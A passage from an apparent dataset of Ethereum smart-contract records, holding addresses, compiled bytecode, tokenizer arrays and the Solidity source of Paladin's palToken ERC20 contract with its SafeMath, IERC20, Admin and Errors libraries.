cbb60e01b17905261037a908490610d97565b6000610c778284611245565b9392505050565b80471015610cce5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161032a565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114610d1b576040519150601f19603f3d011682016040523d82523d6000602084013e610d20565b606091505b505090508061037a5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161032a565b6000610dec826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610e699092919063ffffffff16565b80519091501561037a5780806020019051810190610e0a91906110bc565b61037a5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161032a565b6060610e788484600085610e80565b949350505050565b606082471015610ee15760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161032a565b843b610f2f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161032a565b600080866001600160a01b03168587604051610f4b919061119e565b60006040518083038185875af1925050503d8060008114610f88576040519150601f19603f3d011682016040523d82523d6000602084013e610f8d565b606091505b5091509150610f9d828286610fa8565b979650505050505050565b60608315610fb7575081610c77565b825115610fc75782518084602001fd5b8160405162461bcd60e51b815260040161032a91906111ba565b600060208284031215610ff2578081fd5b8135610c7781611299565b60006020828403121561100e578081fd5b8151610c7781611299565b60008060006060848603121561102d578182fd5b833561103881611299565b9250602084013561104881611299565b929592945050506040919091013590565b6000806040838503121561106b578182fd5b823561107681611299565b946020939093013593505050565b60008060408385031215611096578182fd5b82356110a181611299565b915060208301356110b1816112ae565b809150509250929050565b6000602082840312156110cd578081fd5b8151610c77816112ae565b6000602082840312156110e9578081fd5b5035919050565b600060208284031215611101578081fd5b5051919050565b6000806040838503121561111a578182fd5b8235915060208301356110b181611299565b6000806040838503121561113e578182fd5b50508035926020909101359150565b600080600080600060a08688031215611164578081fd5b85359450602086013593506040860135925060608601359150608086013560ff81168114611190578182fd5b809150509295509295909350565b600082516111b0818460208701611269565b9190910192915050565b60006020825282518060208401526111d9816040850160208701611269565b601f01601f19169190910160400192915050565b6020808252600990820152684248503a452d34303360b81b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561126457634e487b7160e01b81526011600452602481fd5b500190565b60005b8381101561128457818101518382015260200161126c565b83811115611293576000848401525b50505050565b6001600160a01b038116811461081257600080fd5b801515811461081257600080fdfea2646970667358221220552437d0fb0bb53584388fb1203b9478c30f5360a9239f7bdb69d846f6f2b23a64736f6c63430008030033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2575, 10354, 2063, 2629, 2497, 2629, 11329, 2620, 9818, 2683, 16068, 2581, 6305, 2487, 10354, 11387, 17914, 2063, 2575, 16048, 21084, 2581, 2620, 29097, 2549, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 21183, 12146, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,781
0x9757B78e2C72e3192786597B80c90Ec9bf785706
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗ //██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║ //██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║ //██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║ //██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║ //╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ pragma solidity ^0.7.6; //SPDX-License-Identifier: MIT import "./utils/SafeMath.sol"; import "./utils/IERC20.sol"; import "./utils/Admin.sol"; import {Errors} from "./utils/Errors.sol"; /** @title palToken ERC20 contract */ /// @author Paladin contract PalToken is IERC20, Admin { using SafeMath for uint; //ERC20 Variables & Mappings : /** @notice ERC20 token Name */ string public name; /** @notice ERC20 token Symbol */ string public symbol; /** @notice ERC20 token Decimals */ uint public decimals; // ERC20 total Supply uint private _totalSupply; //don't want to initiate the contract twice bool private initialized; /** @notice PalPool contract that can Mint/Burn this token */ address public palPool; /** @dev Balances for this ERC20 token */ mapping(address => uint) internal balances; /** @dev Allowances for this ERC20 token, sorted by user */ mapping(address => mapping (address => uint)) internal transferAllowances; /** @dev Modifier so only the PalPool linked to this contract can Mint/Burn tokens */ modifier onlyPool() { require(msg.sender == palPool); _; } //Functions : constructor (string memory name_, string memory symbol_) { admin = msg.sender; name = name_; symbol = symbol_; decimals = 18; initialized = false; } function initiate(address _palPool) external adminOnly returns (bool){ require(!initialized); initialized = true; palPool = _palPool; return true; } function totalSupply() external override view returns (uint256){ return _totalSupply; } function transfer(address dest, uint amount) external override returns(bool){ return _transfer(msg.sender, dest, amount); } function transferFrom(address src, address dest, uint amount) external override returns(bool){ require(transferAllowances[src][msg.sender] >= amount, Errors.ALLOWANCE_TOO_LOW); transferAllowances[src][msg.sender] = transferAllowances[src][msg.sender].sub(amount); _transfer(src, dest, amount); return true; } function _transfer(address src, address dest, uint amount) internal returns(bool){ //Check if the transfer is possible require(balances[src] >= amount, Errors.BALANCE_TOO_LOW); require(dest != src, Errors.SELF_TRANSFER); require(src != address(0) && dest != address(0), Errors.ZERO_ADDRESS); //Update balances balances[src] = balances[src].sub(amount); balances[dest] = balances[dest].add(amount); //emit the Transfer Event emit Transfer(src,dest,amount); return true; } function approve(address spender, uint amount) external override returns(bool){ return _approve(msg.sender, spender, amount); } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { return _approve(msg.sender, spender, transferAllowances[msg.sender][spender].add(addedValue)); } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 currentAllowance = transferAllowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "decreased allowance below zero"); return _approve(msg.sender, spender, currentAllowance.sub(subtractedValue)); } function _approve(address owner, address spender, uint amount) internal returns(bool){ require(spender != address(0), Errors.ZERO_ADDRESS); //Update allowance and emit the Approval event transferAllowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function allowance(address owner, address spender) external view override returns(uint){ return transferAllowances[owner][spender]; } function balanceOf(address owner) external view override returns(uint){ return balances[owner]; } function mint(address _user, uint _toMint) external onlyPool returns(bool){ require(_user != address(0), Errors.ZERO_ADDRESS); _totalSupply = _totalSupply.add(_toMint); balances[_user] = balances[_user].add(_toMint); emit Transfer(address(0),_user,_toMint); return true; } function burn(address _user, uint _toBurn) external onlyPool returns(bool){ require(_user != address(0), Errors.ZERO_ADDRESS); require(balances[_user] >= _toBurn, Errors.INSUFFICIENT_BALANCE); _totalSupply = _totalSupply.sub(_toBurn); balances[_user] = balances[_user].sub(_toBurn); emit Transfer(_user,address(0),_toBurn); return true; } } pragma solidity ^0.7.6; //SPDX-License-Identifier: MIT // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.7.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.7.6; //SPDX-License-Identifier: MIT /** @title Admin contract */ /// @author Paladin contract Admin { /** @notice (Admin) Event when the contract admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** @dev Admin address for this contract */ address payable internal admin; modifier adminOnly() { //allows only the admin of this contract to call the function require(msg.sender == admin, '1'); _; } /** * @notice Set a new Admin * @dev Changes the address for the admin parameter * @param _newAdmin address of the new Controller Admin */ function setNewAdmin(address payable _newAdmin) external adminOnly { address _oldAdmin = admin; admin = _newAdmin; emit NewAdmin(_oldAdmin, _newAdmin); } } //██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗ //██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║ //██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║ //██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║ //██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║ //╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ pragma solidity ^0.7.6; //SPDX-License-Identifier: MIT library Errors { // Admin error string public constant CALLER_NOT_ADMIN = '1'; // 'The caller must be the admin' string public constant CALLER_NOT_CONTROLLER = '29'; // 'The caller must be the admin or the controller' string public constant CALLER_NOT_ALLOWED_POOL = '30'; // 'The caller must be a palPool listed in the controller' string public constant CALLER_NOT_MINTER = '31'; // ERC20 type errors string public constant FAIL_TRANSFER = '2'; string public constant FAIL_TRANSFER_FROM = '3'; string public constant BALANCE_TOO_LOW = '4'; string public constant ALLOWANCE_TOO_LOW = '5'; string public constant SELF_TRANSFER = '6'; // PalPool errors string public constant INSUFFICIENT_CASH = '9'; string public constant INSUFFICIENT_BALANCE = '10'; string public constant FAIL_DEPOSIT = '11'; string public constant FAIL_LOAN_INITIATE = '12'; string public constant FAIL_BORROW = '13'; string public constant ZERO_BORROW = '27'; string public constant BORROW_INSUFFICIENT_FEES = '23'; string public constant LOAN_CLOSED = '14'; string public constant NOT_LOAN_OWNER = '15'; string public constant LOAN_OWNER = '16'; string public constant FAIL_LOAN_EXPAND = '17'; string public constant NOT_KILLABLE = '18'; string public constant RESERVE_FUNDS_INSUFFICIENT = '19'; string public constant FAIL_MINT = '20'; string public constant FAIL_BURN = '21'; string public constant FAIL_WITHDRAW = '24'; string public constant FAIL_CLOSE_BORROW = '25'; string public constant FAIL_KILL_BORROW = '26'; string public constant ZERO_ADDRESS = '22'; string public constant INVALID_PARAMETERS = '28'; string public constant FAIL_LOAN_DELEGATEE_CHANGE = '32'; string public constant FAIL_LOAN_TOKEN_BURN = '33'; string public constant FEES_ACCRUED_INSUFFICIENT = '34'; }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610380578063a9059cbb146103b9578063ca3d1598146103f2578063dd62ed3e1461042557610100565b806370a08231146102d75780638eec99c81461030a57806395d89b411461033f5780639dc29fac1461034757610100565b806327b4c949116100d357806327b4c9491461022c578063313ce5671461025d578063395093511461026557806340c10f191461029e57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101cf57806323b872dd146101e9575b600080fd5b61010d610460565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101bb6004803603604081101561019857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561050b565b604080519115158252519081900360200190f35b6101d761051f565b60408051918252519081900360200190f35b6101bb600480360360608110156101ff57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610525565b6102346106b3565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101d76106d4565b6101bb6004803603604081101561027b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356106da565b6101bb600480360360408110156102b457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610722565b6101d7600480360360208110156102ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166108a9565b61033d6004803603602081101561032057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166108d1565b005b61010d6109df565b6101bb6004803603604081101561035d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610a55565b6101bb6004803603604081101561039657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610cbb565b6101bb600480360360408110156103cf57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610d72565b6101bb6004803603602081101561040857600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610d7f565b6101d76004803603604081101561043b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610e8d565b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156105035780601f106104d857610100808354040283529160200191610503565b820191906000526020600020905b8154815290600101906020018083116104e657829003601f168201915b505050505081565b6000610518338484610ec5565b9392505050565b60045490565b73ffffffffffffffffffffffffffffffffffffffff831660009081526007602090815260408083203384528252808320548151808301909252600182527f35000000000000000000000000000000000000000000000000000000000000009282019290925290831115610630576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156105f55781810151838201526020016105dd565b50505050905090810190601f1680156106225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5073ffffffffffffffffffffffffffffffffffffffff8416600090815260076020908152604080832033845290915290205461066c9083610fed565b73ffffffffffffffffffffffffffffffffffffffff851660009081526007602090815260408083203384529091529020556106a884848461102f565b506001949350505050565b600554610100900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b33600081815260076020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161051891859061071d908661138f565b610ec5565b600554600090610100900473ffffffffffffffffffffffffffffffffffffffff16331461074e57600080fd5b60408051808201909152600281527f3232000000000000000000000000000000000000000000000000000000000000602082015273ffffffffffffffffffffffffffffffffffffffff84166107fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156105f55781810151838201526020016105dd565b5060045461080c908361138f565b60045573ffffffffffffffffffffffffffffffffffffffff831660009081526006602052604090205461083f908361138f565b73ffffffffffffffffffffffffffffffffffffffff841660008181526006602090815260408083209490945583518681529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526006602052604090205490565b60005473ffffffffffffffffffffffffffffffffffffffff16331461095757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681179093556040805191909216808252602082019390935281517ff9ffabca9c8276e99321725bcb43fb076a6c66a54b7f21c4e8146d8519b417dc929181900390910190a15050565b600280546040805160206001841615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01909316849004601f810184900484028201840190925281815292918301828280156105035780601f106104d857610100808354040283529160200191610503565b600554600090610100900473ffffffffffffffffffffffffffffffffffffffff163314610a8157600080fd5b60408051808201909152600281527f3232000000000000000000000000000000000000000000000000000000000000602082015273ffffffffffffffffffffffffffffffffffffffff8416610b31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156105f55781810151838201526020016105dd565b5081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156040518060400160405280600281526020017f313000000000000000000000000000000000000000000000000000000000000081525090610c11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156105f55781810151838201526020016105dd565b50600454610c1f9083610fed565b60045573ffffffffffffffffffffffffffffffffffffffff8316600090815260066020526040902054610c529083610fed565b73ffffffffffffffffffffffffffffffffffffffff84166000818152600660209081526040808320949094558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350600192915050565b33600090815260076020908152604080832073ffffffffffffffffffffffffffffffffffffffff8616845290915281205482811015610d5b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f64656372656173656420616c6c6f77616e63652062656c6f77207a65726f0000604482015290519081900360640190fd5b610d6a338561071d8487610fed565b949350505050565b600061051833848461102f565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610e0657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f3100000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60055460ff1615610e1657600080fd5b506005805473ffffffffffffffffffffffffffffffffffffffff8316610100027fffffffffffffffffffffff0000000000000000000000000000000000000000ff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0090921660019081179290921617909155919050565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260076020908152604080832093909416825291909152205490565b60408051808201909152600281527f3232000000000000000000000000000000000000000000000000000000000000602082015260009073ffffffffffffffffffffffffffffffffffffffff8416610f78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156105f55781810151838201526020016105dd565b5073ffffffffffffffffffffffffffffffffffffffff808516600081815260076020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600061051883836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f7700815250611403565b600081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156040518060400160405280600181526020017f340000000000000000000000000000000000000000000000000000000000000081525090611110576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156105f55781810151838201526020016105dd565b508373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600181526020017f3600000000000000000000000000000000000000000000000000000000000000815250906111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156105f55781810151838201526020016105dd565b5073ffffffffffffffffffffffffffffffffffffffff841615801590611218575073ffffffffffffffffffffffffffffffffffffffff831615155b6040518060400160405280600281526020017f3232000000000000000000000000000000000000000000000000000000000000815250906112b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156105f55781810151838201526020016105dd565b5073ffffffffffffffffffffffffffffffffffffffff84166000908152600660205260409020546112e59083610fed565b73ffffffffffffffffffffffffffffffffffffffff8086166000908152600660205260408082209390935590851681522054611321908361138f565b73ffffffffffffffffffffffffffffffffffffffff80851660008181526006602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60008282018381101561051857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000818484111561146f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526020600482018181528351602484015283519092839260449091019190850190808383600083156105f55781810151838201526020016105dd565b50505090039056fea26469706673582212203757968f7c910aa191b01e08d73a35583e741cdd181bc55dac0690b77f7c9bf764736f6c63430007060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 23352, 2581, 2497, 2581, 2620, 2063, 2475, 2278, 2581, 2475, 2063, 21486, 2683, 22907, 20842, 28154, 2581, 2497, 17914, 2278, 21057, 8586, 2683, 29292, 2581, 27531, 19841, 2575, 1013, 1013, 100, 100, 100, 100, 100, 100, 100, 1013, 1013, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 100, 1013, 1013, 100, 100, 100, 100, 100, 100, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1020, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 12324, 1000, 1012, 1013, 21183, 12146, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 21183, 12146, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,782
0x9757f662ccb0c5e1fb338d065668dad3be93cbb1
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * 